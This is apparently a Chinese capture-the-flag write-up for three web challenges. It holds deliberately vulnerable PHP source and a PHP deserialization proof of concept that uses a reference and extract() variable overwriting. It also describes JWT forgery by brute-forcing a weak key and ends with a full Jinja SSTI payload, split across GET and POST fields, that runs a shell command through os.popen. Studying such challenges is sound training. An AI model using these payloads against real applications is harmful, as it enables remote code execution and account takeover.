CTFshow 11月赛 WP
1.给我看看
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='Only you know';
$this->useless="I_love_u";
}
public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;
if($this->your_answer === $this->name){
echo $flag;
}
}
}
$secret = $_GET['s'];
if(isset($secret)){
if($secret==="给我看看!"){
extract($_POST);
if($secret==="给我看看!"){
die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
}
unserialize($secret);
}
}else{
show_source(__FILE__);
}
POC:
<?php
class whoami{
public $your_answer;
public function __construct(){
$this->your_answer=&$this->name;
}
}
$a = new whoami();
echo serialize($a);
?>
考点
$you_never_know是编码后的随机数,考点是&引用
**利用extract($_POST);覆盖变量
那么只需要构造$this->your_answer=&$this->name;即可,
先get一个s=给我看看!进入第一关if判断
再利用extract()变量覆盖的特性,post一个secret=xxx绕过来第二个if判断,触发反序列化
payload:
2.easyPOP
<?php
highlight_file (__FILE__);
error_reporting(0);
class action_1{
public $tmp;
public $fun = 'system';
public function __call($wo,$jia){
call_user_func($this->fun);
}
public function __wakeup(){
$this->fun = '';
die("阿祖收手吧,外面有套神");
}
public function __toString(){
return $this->tmp->str;
}
}
class action_2{
public $p;
public $tmp;
public function getFlag(){
if (isset($_GET['ctfshow'])) {
$this->tmp = $_GET['ctfshow'];
}
system("cat /".$this->tmp);
}
public function __call($wo,$jia){
phpinfo();
}
public function __wakeup(){
echo "<br>";
echo "php版本7.3哦,没有人可以再绕过我了";
echo "<br>";
}
public function __get($key){
$function = $this->p;
return $function();
}
}
class action_3{
public $str;
public $tmp;
public $ran;
public function __construct($rce){
echo "送给你了";
system($rce);
}
public function __destruct(){
urlencode($this->str);
}
public function __get($jia){
if(preg_match("/action_2/",get_class($this->ran))){
return "啥也没有";
}
return $this->ran->$jia();
}
}
class action_4{
public $ctf;
public $show;
public $jia;
public function __destruct(){
$jia = $this->jia;
echo $this->ran->$jia;
}
public function append($ctf,$show){
echo "<br>";
echo new $ctf($show);
}
public function __invoke(){
$this->append($this->ctf,$this->show);
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$output = unserialize($pop);
if(preg_match("/php/",$output)){
echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
die("不可以用伪协议哦");
}
}
3.通关大佬
第一步
用非admin随便登录,查看application可以看到jwt,修改jwt,user->admin,key爆破得到为12345
修改后进入第二步
第二步
发现token很快就失效了
JWT的payload中的exp模块可以修改时间,这里将时间延长
第三步
SSTI
这里<通关人>没任何过滤,但有长度限制,只能25个字符以内,<排名>和<通关时间>都有严格的校验,<通关感言>有较严格的过滤,包括下划线、单双引号、request、中括号、百分号等一些关键字符
导致只通过其中一个输入框无法getshell,需要多个输入框进行配合getshell
这里选择了通过<通关人>和<通关感言>进行配合getshell
GET
http://9e8044b0-cac5-42eb-8e39-af150b380a8d.challenge.ctf.show/edit?
a=__init__&b=__globals__&c=__getitem__&d=os&e=popen&f=cat ../flag.txt
&g=read
POST
name={%25set r=request.args%25}&rank=1&speech={{(config|attr(r.a)|
attr(r.b))|attr(r.c)(r.d)|attr(r.e)(r.f)|attr(r.g)()}}
&time=2021年11月11日
拼接可以得到
config.__init__.__globals__.__getitem__['os'].popen(cat ../flag.txt)
.read()